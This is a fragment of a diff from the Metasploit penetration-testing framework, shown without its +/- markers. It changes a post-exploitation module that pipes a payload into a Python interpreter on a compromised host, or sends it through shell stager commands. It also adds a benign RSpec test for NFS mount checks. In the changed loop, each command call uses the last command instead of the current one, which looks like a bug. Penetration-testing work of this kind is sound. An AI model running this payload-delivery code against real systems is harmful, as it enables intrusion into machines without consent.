payload_data = Msf::Util::EXE.to_python_reflection(framework, ARCH_X64, payload_data, {})
cmd_exec("echo \"#{payload_data}\" | python & disown")
cmd_exec("echo \"#{payload_data}\" | #{remote_python_binary} & disown", nil, command_timeout, { 'Channelized' => false })
else
vprint_status('Transfer method: Bourne shell [fallback]')
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
@@ -204,6 +210,29 @@ class MetasploitModule < Msf::Post
return nil
end
#
# Get the Python binary from the remote machine, if any, by running
# a series of channelized `cmd_exec` calls.
# @return String/nil A string if a Python binary can be found, else nil.
#
def remote_python_binary
return @remote_python_binary if defined?(@remote_python_binary)
python_exists_regex = /Python (2|3)\.(\d)/
if cmd_exec('python3 -V 2>&1') =~ python_exists_regex
@remote_python_binary = 'python3'
elsif cmd_exec('python -V 2>&1') =~ python_exists_regex
@remote_python_binary = 'python'
elsif cmd_exec('python2 -V 2>&1') =~ python_exists_regex
@remote_python_binary = 'python2'
else
@remote_python_binary = nil
end
@remote_python_binary
end
def transmit_payload(exe, platform)
#
# Generate the stager command array
@@ -249,22 +278,27 @@ class MetasploitModule < Msf::Post
#
sent = 0
aborted = false
cmds.each do |cmd|
ret = cmd_exec(cmd)
if !ret
aborted = true
else
ret.strip!
aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./
end
if aborted
print_error('Error: Unable to execute the following command: ' + cmd.inspect)
print_error('Output: ' + ret.inspect) if ret && !ret.empty?
break
cmds.each.with_index do |cmd, i|
# The last command should be fire-and-forget, otherwise issues occur where the original session waits
# for an unlimited amount of time for the newly spawned session to exit.
wait_for_cmd_result = i + 1 < cmds.length
# Note that non-channelized cmd_exec calls currently return an empty string
ret = cmd_exec(cmds.last, nil, command_timeout, { 'Channelized' => wait_for_cmd_result })
if wait_for_cmd_result
if !ret
aborted = true
else
ret.strip!
aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./
end
if aborted
print_error('Error: Unable to execute the following command: ' + cmd.inspect)
print_error('Output: ' + ret.inspect) if ret && !ret.empty?
break
end
end
sent += cmd.length
progress(total_bytes, sent)
end
rescue ::Interrupt
+65
View File
@@ -0,0 +1,65 @@
# -*- coding: binary -*-
require 'spec_helper'
RSpec.describe Msf::Auxiliary::Nfs do
subject do
mod = Msf::Module.new
mod.extend(Msf::Auxiliary::Nfs)
mod
end
context '#can_mount?' do
it 'deals with astericks' do
expect(subject.can_mount?(['*'], true, 'my.hostname', '1.1.1.1')).to be true
end
it 'deals with empty' do
expect(subject.can_mount?([''], true, 'my.hostname', '1.1.1.1')).to be false
end
it 'deals with my IP' do
expect(subject.can_mount?(['1.1.1.1'], true, 'my.hostname', '1.1.1.1')).to be true
end
it 'deals with not my IP' do
expect(subject.can_mount?(['2.2.2.2'], true, 'my.hostname', '1.1.1.1')).to be false
end
it 'correctly handles lists' do
expect(subject.can_mount?(['2.2.2.2/255.255.255.0', '1.1.1.1/255.255.255.0'], true, 'my.hostname', '1.1.1.1')).to be true
end
it 'deals with my IP with subnet' do
expect(subject.can_mount?(['1.1.1.1/255.255.255.0'], true, 'my.hostname', '1.1.1.1')).to be true
end
it 'deals with not my IP with subnet' do
expect(subject.can_mount?(['2.2.2.2/255.255.255.0'], true, 'my.hostname', '1.1.1.1')).to be false
end
it 'deals with my IP with cidr' do
expect(subject.can_mount?(['1.1.1.1/24'], true, 'my.hostname', '1.1.1.1')).to be true
end
it 'deals with not my IP with cidr' do
expect(subject.can_mount?(['2.2.2.2/24'], true, 'my.hostname', '1.1.1.1')).to be false
end
it 'exact hostname' do
expect(subject.can_mount?(['my.hostname'], true, 'my.hostname', '1.1.1.1')).to be true
end
it 'bad hostname' do
expect(subject.can_mount?(['not.my.hostname'], true, 'foo.bar', '1.1.1.1')).to be false
end
it 'hostname with wildcard' do
expect(subject.can_mount?(['*.hostname'], true, 'my.hostname', '1.1.1.1')).to be true
end
it 'bad hostname with wildcard' do
expect(subject.can_mount?(['*.not.my.hostname'], true, 'foo.bar', '1.1.1.1')).to be false
end
end
end